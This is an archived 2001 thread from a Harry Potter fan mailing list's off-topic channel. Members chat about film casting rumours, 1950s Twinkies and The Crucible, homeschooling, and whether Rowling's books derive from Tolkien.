on 9/28/01 9:10 PM, magpie1112 at yahoo.com at magpie1112 at yahoo.com wrote:

> Oh Rachel, that stinks!!!  And I had just received an e-mail from the
> Daily Mail saying he was a definite!  Oh well.  I'm rooting for Hugh
> Laurie or Robert Bathurst.  Sigh.

That's what you get for reading the Daily Rail...er...Mail. You know JKR
based Rita on the "Daily Mail-esque" (not a real quote :D) reporter, right?

:D 

--John

____________________________________________

Don't join the book burners. Do not think you are going to conceal thoughts
by concealing evidence that they ever existed. -Dwight D Eisenhower

John Walton -- john at walton.to
____________________________________________




From michelleapostolides at lineone.net  Fri Sep 28 21:12:22 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Fri, 28 Sep 2001 22:12:22 +0100
Subject: [HPFGU-OTChatter] Re: No Hugh Grant.  :-(
References: <B7DAA64F.1D80%john@walton.to>
Message-ID: <049b01c14862$446be0c0$5040063e@tmeltcds>

| That's what you get for reading the Daily Rail...er...Mail. You know
JKR
| based Rita on the "Daily Mail-esque" (not a real quote :D) reporter,
right?
|
Hey !! the Daily Mail is the only paper small enough for my little
arms...

Michelle




From neilward at dircon.co.uk  Fri Sep 28 21:46:15 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Fri, 28 Sep 2001 22:46:15 +0100
Subject: [HPFGU-OTChatter] That Naughty Ford Anglia
References: <9p2mcs+ss38@eGroups.com>
Message-ID: <008301c14867$00954b20$a93670c2@c5s910j>

Lisa said:

<< I've been refreshing my spirit today with my copy of Richard Lederer's
BRIDE OF ANGUISHED ENGLISH, and came upon this tidbit of a  newspaper gaffe:
"The witness reported that he observed sex taking place between two parked
cars." ...

Neil.  Have you been getting into trouble?>>

***

What can I say?  I have to get it where I can...

The Mechanimagus






From dfrankiswork at netscape.net  Fri Sep 28 23:01:37 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Fri, 28 Sep 2001 23:01:37 -0000
Subject: No Hugh Grant/Weather
In-Reply-To: <9p2nan+iqjm@eGroups.com>
Message-ID: <9p2vgh+ca53@eGroups.com>

--- In HPFGU-OTChatter at y..., blpurdom at y... wrote:
> --- In HPFGU-OTChatter at y..., magpie1112 at y... wrote:
> > --- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:

Oh well.  I'm rooting for 
> Hugh 
> > Laurie or Robert Bathurst.  Sigh.
> > 
> > - Denise
> 
> ::sigh:: Cary Elwes isn't one of the options in the poll...

I never thought Hugh Grant was right for Lockhart - you need an actor 
who thinks he's God's gift to humanity - can anyone think of any?

> But as to weather, here in Philadelphia, it's bright and sunny, 
just 
> a little breezy and a lovely 65 F.  Perfect autumn day, and the 
> leaves are just starting to be touched with color...
> 
> --Barb

Here in England, it's dark, because the sun is obscured by the earth.

David




From hamster8 at hotmail.com  Fri Sep 28 23:02:59 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Fri, 28 Sep 2001 23:02:59 -0000
Subject: US Pop Culture - 1950s - Twinkies
Message-ID: <9p2vj3+hbej@eGroups.com>

Anybody know anything about it?  Anybody have a bizarre fascination 
with that particular era?  Thing is, am writing a plot bunny induced 
ficlet set in that timeframe, and I need some help.

I have two questions already ...

1) Did you guys have Twinkies in the 50s?
2) What year did Arthur Miller publish The Crucible.

Any help is deeply appreciated, I want this to be as authentic as 
possible.

Cheers
Al




From pennylin at swbell.net  Fri Sep 28 23:25:53 2001
From: pennylin at swbell.net (Penny Linsenmayer)
Date: Fri, 28 Sep 2001 23:25:53 -0000
Subject: Baby Names -- Desitin -- Homeschooling/Unschooling
Message-ID: <9p30u1+8f5l@eGroups.com>

Hi everyone --

My daughter caught her first cold, learned to roll over & began
teething all on the same day .... hence my absences from most all but
the Mods list for the last few days!

BABY NAMES: David asked why we don't just abandon the family tree for
names.  Well, because I'm an amateur genealogist, so the idea of using
family names appeals to me, and Bryce is a traditionalist, so it
appeals to him too.  He's just sorry that he can't nix the name Harry
since it's not only in the family tree, it's prevalent & prominent
(not the middle name of some great-great-great grandfather for
example).  :--)

I like the suggestion that we might get some freebies from the Harry &
David company.

DESITIN -- Jen I sent you a virtual hug, and have made a mental note
to get rid of the Desitin (and the Vaseline) when Elizabeth becomes
mobile.

HOMESCHOOLING/UNSCHOOLING -- I followed this thread with interest (I
think it's been debated here before but with different players).
Homeschooling is *so, so, so* not an option for us.  We are both
complete dunces in mathematics (and science for that matter but math
especially).  We are words people.  I majored in History & English
Lit; Bryce in History & Int'l Relations.  It doesn't appeal to me much
either I must say, but then, I had a good experience in public schools
for the most part (typical adolescent angst aside).

I agree strongly with everything Ebony wrote, but then, while I'm not
a public school teacher myself, my sister is.  She's complained loudly
too many times about homeschooled/unschooled/Montessori kids who find
themselves in her 3rd grade classroom, many times without even the
most basic of skills (such as *reading*!).

I also agree completely that removing the kids who, because of
involved, committed parents, will succeed regardless, is no solution
to our public school problems.  If these same super committed parents
were to get involved in the public schools, this, IMO, would go a long
way toward correcting many of the problems.

But, my sister influences me greatly, and she is a very progressive &
innovative public school teacher.  I've got her researching the
Houston schools already!  <g>

Penny




From saitaina at wizzards.net  Fri Sep 28 23:37:46 2001
From: saitaina at wizzards.net (Saitaina)
Date: Fri, 28 Sep 2001 16:37:46 -0700
Subject: [HPFGU-OTChatter] Re: Weird article
References: <44A2CB32C4@lincoln.treasurer.ohio-state.edu>
Message-ID: <019501c14876$957ca800$664e28d1@oemcomputer>

Regarding the whole HP verses LOTR thing, the movies are from the same production company and released in the same movie 'season'.  That is why the article was saying their against each other because they are.  They're competing for the same fan base (fantasy lovers), the same audience for the season (winter movie goers, those that actually drudge thought he snow to see a new release) and the same promotional opportunities (Though Harry's beating them from getting a jump on promos with last Christmas's products and the coke promotions).  

Now while for some fans one movie does not compare to another content wise, for the studio heads this is an important competition, to see which movie succeeds in money.  Harry Potter, the 'children's' fantasy or Lord of the Rings, the more adult fantasy.  

Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction


[Non-text portions of this message have been removed]




From catlady at wicca.net  Sat Sep 29 05:37:45 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 29 Sep 2001 05:37:45 -0000
Subject: Three shillings--for the UK'ers
In-Reply-To: <9p1sim+6hot@eGroups.com>
Message-ID: <9p3mn9+urgc@eGroups.com>

--- In HPFGU-OTChatter at y..., "Neil Ward" <neilward at d...> wrote:

[half-crown, florin]

> Oh yes, you're right.  That was a mixture of being too young to 
> remember that and being too old to remember that.  

You mean, too young to remember that, and too old to remember 
ANYTHING (and I have almost 4 years on you....
> 
> It wasn't the LSD, I swear


I suppose the wizarding folk have Gsk.




From joyw at gwu.edu  Sat Sep 29 05:46:42 2001
From: joyw at gwu.edu (- Joy -)
Date: Sat, 29 Sep 2001 01:46:42 -0400
Subject: [HPFGU-OTChatter] US Pop Culture - 1950s - Twinkies
References: <9p2vj3+hbej@eGroups.com>
Message-ID: <011101c148aa$1dd011a0$a2d30941@mtgmry1.md.home.com>

I'm in a procrastinating mood, so I decided to do a little research.  Here's
hoping against hope that this is for a Syzygy flashback. <eg>
Twinkies (mmmm) were invented in Philadelphia in 1933, but only started
using vanilla filling during the war because there was a banana shortage.
"The Crucible" was first performed in January of 1953.  Hope this helps!

~Joy~
http://diluted.org/joy

Al asked:
> 1) Did you guys have Twinkies in the 50s?
> 2) What year did Arthur Miller publish The Crucible.





From catlady at wicca.net  Sat Sep 29 05:57:45 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 29 Sep 2001 05:57:45 -0000
Subject: US Pop Culture - 1950s - Twinkies
In-Reply-To: <9p2vj3+hbej@eGroups.com>
Message-ID: <9p3nsp+klit@eGroups.com>

--- In HPFGU-OTChatter at y..., hamster8 at h... wrote:

> 1) Did you guys have Twinkies in the 50s?

I tried a few versions of your question on Ask Jeeves, and found:
http://www.unionlabel.org/labelletter/so2000/twinkies.htm
I copied the article (without checking the copyright, Neil), but 
you must go to the site to see the photo of the cake.

It says: 
"Union members who make Hostess Twinkies snack cakes put together the 
world's largest Twinkies birthday cake this spring to mark the 70th 
birthday of the ever-popular finger food.

The cake was 25 feet high and contained 20,000 individual Twinkies. 
It was displayed and eaten during a celebration on Chicago's Navy 
Pier.

Members of Bakery, Confectionery, Tobacco & Grain Millers Local 
Union 1 at Interstate Baking Co. in the Chicago suburb of Schiller 
Park made the cake.

(Attention trivia buffs: Twinkies were first made and marketed in 
1930, two for a nickel. Their original banana-creme filling gave way 
to today's vanilla-creme in the face of the banana shortage during 
World War II.)"

Note from me here: There never was a murder trial in the US where the 
defendant claimed he been insane due to eating Twinkies. The 
disappointed patronage-job seeker (I forgot his name) who killed 
George Moscone and Harvey Milk argued that he had been sliding into 
'insanity' (depression, apparently) for a long time, offering as 
proof that he had been changing his lifestyle for the worose, 
including going from a health nut who worked out all the time to a 
couch potato who ate Twinkies.

> 2) What year did Arthur Miller publish The Crucible.

I used Google for this one. The very first hit was: 
http://www.ogram.org/17thc/crucible.shtml which says:
"Miller created works of art, inspired by the actual events for the 
artistic/political purposes Miller intended: first produced on 
Broadway on January 22, 1953, it was in response to the panic caused 
by irrational fear of Communism during the Cold War which ultimately 
resulted in the anti-Communist hearings by Senator Joseph McCarthy 
which started on Feb. 3, 1953"

 




From john at walton.to  Sat Sep 29 12:05:34 2001
From: john at walton.to (John Walton)
Date: Sat, 29 Sep 2001 13:05:34 +0100
Subject: [HPFGU-OTChatter] US Pop Culture - 1950s - Twinkies
In-Reply-To: <9p2vj3+hbej@eGroups.com>
Message-ID: <B7DB779E.1E01%john@walton.to>

on 9/29/01 12:02 AM, hamster8 at hotmail.com at hamster8 at hotmail.com wrote:

> Anybody know anything about it?  Anybody have a bizarre fascination
> with that particular era?  Thing is, am writing a plot bunny induced
> ficlet set in that timeframe, and I need some help.

Al, if you need music, I can give you some 50s era music. ::stares at the
"Early 50s" and "Late 50s" sections of his MP3 collection::

--John

____________________________________________

"The Universe is not only Queerer than we suppose,
it is Queerer than we can suppose." - JBS Haldane, 'Possible Worlds'

John Walton -- john at walton.to
____________________________________________




From john at walton.to  Sat Sep 29 12:20:31 2001
From: john at walton.to (John Walton)
Date: Sat, 29 Sep 2001 13:20:31 +0100
Subject: [HPFGU-OTChatter] Re: Three shillings--for the UK'ers
In-Reply-To: <9p3mn9+urgc@eGroups.com>
Message-ID: <B7DB7B1F.1E07%john@walton.to>

on 9/29/01 6:37 AM, Catlady (Rita Prince Winston) at catlady at wicca.net
wrote:

> I suppose the wizarding folk have Gsk.

Is that like VD? ::innocent look::

--John

____________________________________________

 "Do not thump the book of G'Quon.  It is disrespectful."
-- G'Kar, Babylon 5

John Walton -- john at walton.to
____________________________________________




From blpurdom at yahoo.com  Sat Sep 29 15:08:58 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sat, 29 Sep 2001 15:08:58 -0000
Subject: Twinkies/HP television spots
In-Reply-To: <011101c148aa$1dd011a0$a2d30941@mtgmry1.md.home.com>
Message-ID: <9p4o6a+6ok4@eGroups.com>

--- In HPFGU-OTChatter at y..., - Joy - <joyw at g...> wrote:
> Twinkies (mmmm) were invented in Philadelphia in 1933 [snip]

Figures.  Philadelphia has frequently been called the junk-food 
capital of the country--dare we say, the world?

On another note, I finally saw the HP movie ad that ran during 
Friends on Thursday night.  (We tape anything on in prime time that 
we want to watch because we're busy with the kids; we watch after 
they're in bed.  It's amazing that we watched Thursday stuff on 
Friday night, as we're usually several days behind.)  

ANYWAY, did anyone besides me (and my husband) think the flying 
sequences looked cheesy and like they were produced about forty years 
ago?  I'm surprised they look like this when there are such 
sophisticated special effects being done in the movies these days.  
I'm hoping that I'm wrong about how this will look on a big screen, 
and it was just the effect from it being scrunched into our pitiful 
19" television screen...

--Barb







From saitaina at wizzards.net  Sat Sep 29 15:19:39 2001
From: saitaina at wizzards.net (Saitaina)
Date: Sat, 29 Sep 2001 08:19:39 -0700
Subject: [HPFGU-OTChatter] Re: Twinkies/HP television spots
References: <9p4o6a+6ok4@eGroups.com>
Message-ID: <00a301c148fa$28c04e40$174e28d1@oemcomputer>

I rather thought the flying scenes looked cool.  But it went by too fast for me to tell. (I watched the spot during the WB's Saturday Morning line up so it was hard to see it seeing as how I fell off the bed when it came on.)  I'm hoping I can see it more this morning and hopefully dissect if after seeing it several times.  :)


Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction


[Non-text portions of this message have been removed]




From aiz24 at hotmail.com  Sat Sep 29 15:57:36 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 29 Sep 2001 15:57:36 -0000
Subject: Stop press on Grant
Message-ID: <9p4r1g+jvl2@eGroups.com>

IMDB says Grant is in.  I'm keeping this whole question in the 
who-the-heck-knows category until filming is well underway.

http://the-leaky-cauldron.org/index.html

Amy




From aiz24 at hotmail.com  Sat Sep 29 15:52:34 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 29 Sep 2001 15:52:34 -0000
Subject: US Pop Culture - 1950s - Twinkies
In-Reply-To: <9p3nsp+klit@eGroups.com>
Message-ID: <9p4qo2+cg64@eGroups.com>

Catlady wrote:

> Note from me here: There never was a murder trial in the US where 
the 
> defendant claimed he been insane due to eating Twinkies. The 
> disappointed patronage-job seeker (I forgot his name) who killed 
> George Moscone and Harvey Milk argued that he had been sliding into 
> 'insanity' (depression, apparently) for a long time, offering as 
> proof that he had been changing his lifestyle for the worose, 
> including going from a health nut who worked out all the time to a 
> couch potato who ate Twinkies.

Dan White.  Rita, can you give a citation on this?  The play 
"Execution of Justice," which is about the White trial, draws heavily 
on court documents etc., and I seem to remember from it that the 
defense attorney did explicitly suggest that White's judgment was 
impaired due to his recent junk-food-heavy diet.

(That trial was in the late 70's, Al, so you can ignore it.  But the 
word "Twinkie" has become entangled with the idea of a very flimsy yet 
successful defense.)

If you really want to go whole hog, you could read David Halberstam's 
The Fifties.  It has a notable omission:  one of the major events of 
the 1950's in America was the last polio epidemic.

Amy




From aiz24 at hotmail.com  Sat Sep 29 16:09:39 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 29 Sep 2001 16:09:39 -0000
Subject: Homeschooling/Unschooling
In-Reply-To: <9p30u1+8f5l@eGroups.com>
Message-ID: <9p4ro3+t1a8@eGroups.com>

Penny wrote:
 
> I agree strongly with everything Ebony wrote, but then, while I'm 
not
> a public school teacher myself, my sister is.  She's complained 
loudly
> too many times about homeschooled/unschooled/Montessori kids who 
find
> themselves in her 3rd grade classroom, many times without even the
> most basic of skills (such as *reading*!).

I would like to see non-anecdotal evidence about this, with a 
comparison of homeschooled and public-schooled children--remember 
Clinton's initiative to have every child able to read by the end of 
third grade?  That suggests that many do not, so I am sure 3rd grade 
teachers see a lot of kids who have been in school for three years and 
still don't know how to read.  The homeschooled children I have met 
are much better educated, on average, than their schooled peers, but 
that too is purely anecdotal.  I've seen some studies, which are all 
very favorable to homeschooling, but most of them have been pointed 
out to me by hs-ing supporters so I could well be missing the negative 
ones.
 
> I also agree completely that removing the kids who, because of
> involved, committed parents, will succeed regardless, is no solution
> to our public school problems.  
>If these same super committed parents
> were to get involved in the public schools, this, IMO, would go a 
long
> way toward correcting many of the problems.

I'm not going to unschool in order to help the public schools; I'm 
going to do it to provide my child[ren] with a good education.  But I 
certainly hope that involvement is not an either/or.  I am a strong 
supporter of public schools and would love to volunteer there and 
maybe serve on the school board, regardless of how my children are 
educated.  The health of the schools affects all citizens, whether 
their children attend them or not--whether they *have* children or 
not.  

Amy




From aiz24 at hotmail.com  Sat Sep 29 16:21:13 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 29 Sep 2001 16:21:13 -0000
Subject: Wizarding drugs (was Three shillings)
In-Reply-To: <9p3mn9+urgc@eGroups.com>
Message-ID: <9p4sdp+kv1t@eGroups.com>

Catlady wrote:

> 
> I suppose the wizarding folk have Gsk.

Short for gasket, as in "Man, this s***'s so good you'll blow a 
gasket."

Amy




From neilward at dircon.co.uk  Sat Sep 29 16:57:07 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 29 Sep 2001 17:57:07 +0100
Subject: Miriam Margolyes
Message-ID: <006e01c14907$c686b440$9c3570c2@c5s910j>

I went to look up the Hugh Grant story Amy mentioned, on The Leaky Cauldron
site, and spotted that Miriam Margolyes is apparently in the Harry Potter
movie.  Hurray!!!

This isn't exciting just because MM is a *great* character actress, but
because I really wanted her to be in the film; she's like the missing piece
of a jigsaw.  Back in February I posted a picture of her to our Graphics
list (yes, we do have yet another list...) and suggested that she should
play Madam Pomfrey.  The LC thinks she's playing Professor Sprout, which
would also be wonderful.  However, if I find out she's playing "Upper Half,
Troll" or "plump woman on bus", I'll have to write to Warner Brothers
immediately and put them right.

I never guess correctly on such things, so you'll have to forgive my silly
gushing over this.

Neil/FFA




From michelleapostolides at lineone.net  Sat Sep 29 16:56:34 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Sat, 29 Sep 2001 17:56:34 +0100
Subject: [HPFGU-OTChatter] Miriam Margolyes
References: <006e01c14907$c686b440$9c3570c2@c5s910j>
Message-ID: <007401c14907$b577a380$397301d5@tmeltcds>

|
| I never guess correctly on such things, so you'll have to forgive my
silly
| gushing over this.
It's OK. I was gushing over her last night.

Michelle




From meboriqua at aol.com  Sat Sep 29 19:11:03 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 29 Sep 2001 19:11:03 -0000
Subject: Homeschooling/Unschooling
In-Reply-To: <9p4ro3+t1a8@eGroups.com>
Message-ID: <9p56c7+blfo@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:

 I am sure 3rd grade teachers see a lot of kids who have been in 
school for three years and  still don't know how to read.>

I have students who are 19 and who probably read at a third grade 
level.

Miss Zesty One also said:   

I am a strong supporter of public schools and would love to volunteer 
there and maybe serve on the school board, regardless of how my 
children are educated. >

We could really really use you at my school up in the Bronx.

But seriously, I am also a believer in the public school system.  I 
think the system sucks and is failing many many students, but I think 
there is so much we can do with it.  Maybe I should run for office one 
day so I can spout all the ideas I have about public education... but 
I hate politics, so there you go.

--jenny from ravenclaw, who actually went to a private Quaker high 
school when she was a student but wouldn't trade teaching in a NYC 
public school for ANYTHING 
*********************************************************




From meboriqua at aol.com  Sat Sep 29 19:17:03 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 29 Sep 2001 19:17:03 -0000
Subject: Wizarding drugs (was Three shillings)
In-Reply-To: <9p4sdp+kv1t@eGroups.com>
Message-ID: <9p56nf+105o1@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> Catlady wrote:
>  
> > I suppose the wizarding folk have Gsk.
> 
> Short for gasket, as in "Man, this s***'s so good you'll blow a 
> gasket.">

LOL!  I don't know; if anyone uses the word "gasket", they aren't high 
enough.

Do we think witches and wizards ever have addiction problems?  Winky 
was struggling with her butterbeer problem, but she's not a witch.

--jenny from ravenclaw, who is only addicted to frappuccinos (sp?) and 
vaseline lip stuff ************************************************




From dai_evans at yahoo.com  Sat Sep 29 19:24:16 2001
From: dai_evans at yahoo.com (Dai Evans)
Date: Sat, 29 Sep 2001 19:24:16 -0000
Subject: Chanmber of Secrets film
Message-ID: <9p5750+uriu@eGroups.com>

OK guys, I'm breathless with excitement.

My cousin, Daniel, is the assitant producer on the Chamber of Secrets 
film.

I don't bump into him very often unfortunately, but when I do, some 
questions will need to be asked.



Dai




From heidit at netbox.com  Sat Sep 29 19:22:58 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Sat, 29 Sep 2001 15:22:58 -0400
Subject: [HPFGU-OTChatter] Chanmber of Secrets film
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2E2D@MIAEXCH1>

Um, dai?
Invite him over one sunday night, ok?
And then just happen to turn on the computer and have Sunday Chat "appear"

-----Original Message-----
From: Dai Evans <dai_evans at yahoo.com>
To: HPFGU-OTChatter at yahoogroups.com <HPFGU-OTChatter at yahoogroups.com>
Sent: Sat Sep 29 15:24:16 2001
Subject: [HPFGU-OTChatter] Chanmber of Secrets film

Real-To: "Dai Evans" 
OK guys, I'm breathless with excitement.

My cousin, Daniel, is the assitant producer on the Chamber of Secrets 
film.

I don't bump into him very often unfortunately, but when I do, some 
questions will need to be asked.



Dai



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From foxmoth at qnet.com  Sat Sep 29 22:27:20 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Sat, 29 Sep 2001 22:27:20 -0000
Subject: Chanmber of Secrets film
In-Reply-To: <9p5750+uriu@eGroups.com>
Message-ID: <9p5hs8+s7la@eGroups.com>

--- In HPFGU-OTChatter at y..., "Dai Evans" <dai_evans at y...> 
wrote:
> OK guys, I'm breathless with excitement.
> 
> My cousin, Daniel, is the assitant producer on the Chamber of 
Secrets 
> film.
> 
> I don't bump into him very often unfortunately, but when I do, 
some 
> questions will need to be asked.

  Your cousin has probably been sworn to all kinds of secrecy 
and won't be able to tell you or us very much if he wants to 
continue his career, alas.

Pippin, who hasn't been able to wheedle so much as a sketch 
out of her brother-in-law Doug who works for the video game 
outfit that's doing  LOTR.




From hfakhro at nyc.rr.com  Sat Sep 29 22:27:40 2001
From: hfakhro at nyc.rr.com (hfakhro at nyc.rr.com)
Date: Sat, 29 Sep 2001 22:27:40 -0000
Subject: Potter derivative of LOTR? No!
Message-ID: <9p5hss+8994@eGroups.com>

Hello -

I just forced a friend to read the Potter books, and right after she 
finished them, her boyfriend made her read the Lord of the Rings. She 
is now convinced that Rowling's work is purely derivative from LOTR. 
I keep blubbering that indeed it is not, but I can't find compelling 
arguments, and was wondering if anyone here had any suggestions as to 
what I could tell her.

Rowling herself has said that she was not fond of LOTR (something 
like, not having read them more than once so that meant they weren't 
her favourites.) She also has said that she would never claim to have 
invented a whole mythology like Tolkien did, but that she thinks she 
has better jokes. (True, IMO).

My friend insists that regardless of what Rowling says, some of the 
similarities are as follows: Wormtail is a tribute to Wormtongue 
(character and name), Dumbledore is Gandalf, and the Black Riders are 
the source for Dementors. Among other things she also says that 
Rowling took some names from Tolkien such as Longbottom (I can't 
remember the others that she mentioned.) She also thinks that Rowling 
filched elements from the world itself such as wizards, elves, 
goblins, etc and made them behave similarly in her books. This is a 
more general question (and I feel a bit stupid asking) but aren't 
wizards, goblins, elves etc ancient creations before Tolkien? I.E. he 
didn't invent them either did he?

I don't think Wormtail is similar to Wormtongue, because Wormtongue 
was sent to the king directly from (sorry forgot his name - the good 
wizard who went bad) whereas Wormtail went bad only after being 
friendly with MPP (as far as we know anyway.) But having read LOTR 
only once, I can't come up with good arguments, so if there is anyone 
here who knows the books well, do share your expertise, please! Must 
defend JKR's integrity!

Thanks,
Hella




From saitaina at wizzards.net  Sat Sep 29 22:50:21 2001
From: saitaina at wizzards.net (Saitaina)
Date: Sat, 29 Sep 2001 15:50:21 -0700
Subject: [HPFGU-OTChatter] Potter derivative of LOTR? No!
References: <9p5hss+8994@eGroups.com>
Message-ID: <000b01c14939$1f9b00a0$5c4e28d1@oemcomputer>

I have absolutely no expertise in LOTR but wizards, goblins, elves and every
other creature/person of the sort have been around since ancient times.
They were created in Fairy Tales long forgotten to our written history and
passed on down through the ages in various shapes and forms.  They came from
the stories whispered around  camp fires when human beings dreamed of a
different life and had nothing better to do then listen to the old man spin
stories about places we would never see and things we would never meet.

Saitaina
*****
"I should go help," Willow said. "Or Giles is liable to speak English and no
one will understand him."-Willow,"Master of Puppets", by Saber
ShadowKitten-Buffy the Vampire Slayer-fanfic

"I'm not listening to you. I am at one. I am at peace with all living things
and if you break my concintration, I will break your legs."-Angel, "The
Florida Vacation"-Buffy the Vampire Slayer-fanfiction

"That's allright, Harry." said Dumbledore cheerfully. "We'll give you
another two years and then we'll feed you to a balisk."-Dumbledore,"Draco
Dormiens, by Cassandra Claire-Harry Potter-fanfic






From viola_1895 at yahoo.com  Sun Sep 30 02:30:55 2001
From: viola_1895 at yahoo.com (Julie (a.k.a. Viola))
Date: Sun, 30 Sep 2001 02:30:55 -0000
Subject: Potter derivative of LOTR? No!
In-Reply-To: <9p5hss+8994@eGroups.com>
Message-ID: <9p604v+ovi8@eGroups.com>

--- In HPFGU-OTChatter at y..., hfakhro at n... wrote:
> My friend insists that regardless of what Rowling says, some of the 
> similarities are as follows: Wormtail is a tribute to Wormtongue 
> (character and name), Dumbledore is Gandalf, and the Black Riders 
are 
> the source for Dementors. Among other things she also says that 
> Rowling took some names from Tolkien such as Longbottom (I can't 
> remember the others that she mentioned.) She also thinks that 
Rowling 
> filched elements from the world itself such as wizards, elves, 
> goblins, etc and made them behave similarly in her books. This is a 
> more general question (and I feel a bit stupid asking) but aren't 
> wizards, goblins, elves etc ancient creations before Tolkien? I.E. 
he 
> didn't invent them either did he?

*laughs* Well, your friend is right in this respect: Rowling couldn't 
help but be influenced by Tolkien, considering that he essentially 
invented the genre of modern fantasy.

Sure wizards, elves, etc. were around in common folklore before 
Tolkien, but he presented them in a way completely different from 
traditional storytelling - particularly the elves. 

So, sure there are some similar elements. But, Rowling borrows less 
from Tolkien than other contemporary authors who write so-
called 'high fantasy' of the sword and sorcery, D&D variety (e.g. 
Raymond Feist... who is the only example I can come up with since I'm 
not overly fond of this genre ^_^;). Rowling falls more into the same 
category with authors like Neil Gaiman and Philip Pullman, who write 
stories with traditional fantastic elements in a modern setting.

I don't know whether that helps your defense or not. ^_^

-Julie (who has taken too many 20th century lit classes for her own 
good)






From pbarhug at earthlink.net  Sun Sep 30 17:02:20 2001
From: pbarhug at earthlink.net (Pam Hugonnet)
Date: Sun, 30 Sep 2001 13:02:20 -0400
Subject: [HPFGU-OTChatter] Miriam Margolyes
References: <006e01c14907$c686b440$9c3570c2@c5s910j>
Message-ID: <3BB7501C.193173CB@earthlink.net>

Neil Ward wrote:

> I went to look up the Hugh Grant story Amy mentioned, on The Leaky Cauldron
> site, and spotted that Miriam Margolyes is apparently in the Harry Potter
> movie.  Hurray!!!
>
> This isn't exciting just because MM is a *great* character actress, but
> because I really wanted her to be in the film; she's like the missing piece
> of a jigsaw.  Back in February I posted a picture of her to our Graphics
> list (yes, we do have yet another list...) and suggested that she should
> play Madam Pomfrey.  The LC thinks she's playing Professor Sprout, which
> would also be wonderful.  However, if I find out she's playing "Upper Half,
> Troll" or "plump woman on bus", I'll have to write to Warner Brothers
> immediately and put them right.


    I was thinking of her just the other night--she's one of my favorite
character actors.  I think she would be well suited for Prof. Sprout; I keep
seeing Patricia Routledge as Madame Pomfrey.

drpam




From dfrankiswork at netscape.net  Sun Sep 30 20:37:51 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Sun, 30 Sep 2001 20:37:51 -0000
Subject: Potter derivative of LOTR? No!
In-Reply-To: <9p5hss+8994@eGroups.com>
Message-ID: <9p7vqv+c570@eGroups.com>

--- In HPFGU-OTChatter at y..., hfakhro at n... wrote:
> Hello -
> 
> I just forced a friend to read the Potter books, and right after 
she 
> finished them, her boyfriend made her read the Lord of the Rings. 
She 
> is now convinced that Rowling's work is purely derivative from 
LOTR. 

I sense one of those arguments that seem to be about one thing, but 
are really about another.  If she really means *purely* derivative, 
then it's easy to find loads of stuff in JKR not in LOTR or any other 
Tolkein - for example, her attempt to show a working government, a 
sense of a real economy, and a relationship to our own world, and, I 
believe, a different conception of the inner strugles of those who 
are tempted. (I always feel in LOTR, that once you've sinned, you've 
had it.  Redemption is theoretically there, but nobody manages it - 
Gollum, Saruman, Wormtongue, even Sauron in the relevant bits of the 
Silmarillion.)
 
> My friend insists that regardless of what Rowling says, some of the 
> similarities are as follows: Wormtail is a tribute to Wormtongue 
> (character and name), Dumbledore is Gandalf, and the Black Riders 
are 
> the source for Dementors. Among other things she also says that 
> Rowling took some names from Tolkien such as Longbottom (I can't 
> remember the others that she mentioned.) She also thinks that 
Rowling 
> filched elements from the world itself such as wizards, elves, 
> goblins, etc and made them behave similarly in her books. This is a 
> more general question (and I feel a bit stupid asking) but aren't 
> wizards, goblins, elves etc ancient creations before Tolkien? I.E. 
he 
> didn't invent them either did he?
> 
Even if we grant some of the above parallels are not accidents, what 
of it?  Derivative is OK.  Tolkein was just cunning enough to be 
derivative from stuff most people (including me) hadn't read.

And Harry Potter is derivative of enough non Tolkein things to be 
quite different - the British boarding school story (Stalky & Co, 
Billy Bunter, Jennings, The Worst Witch), the wizard-in-the-human-
world story (Sabrina, and many more going back into the mists of 
time), the orphan raised by wicked uncle and aunt (Snow White and 
again many more).

Interestingly, the parallel that is most often drawn with LOTR is not 
mentioned: the idea of a whole consistent invented world.  It could 
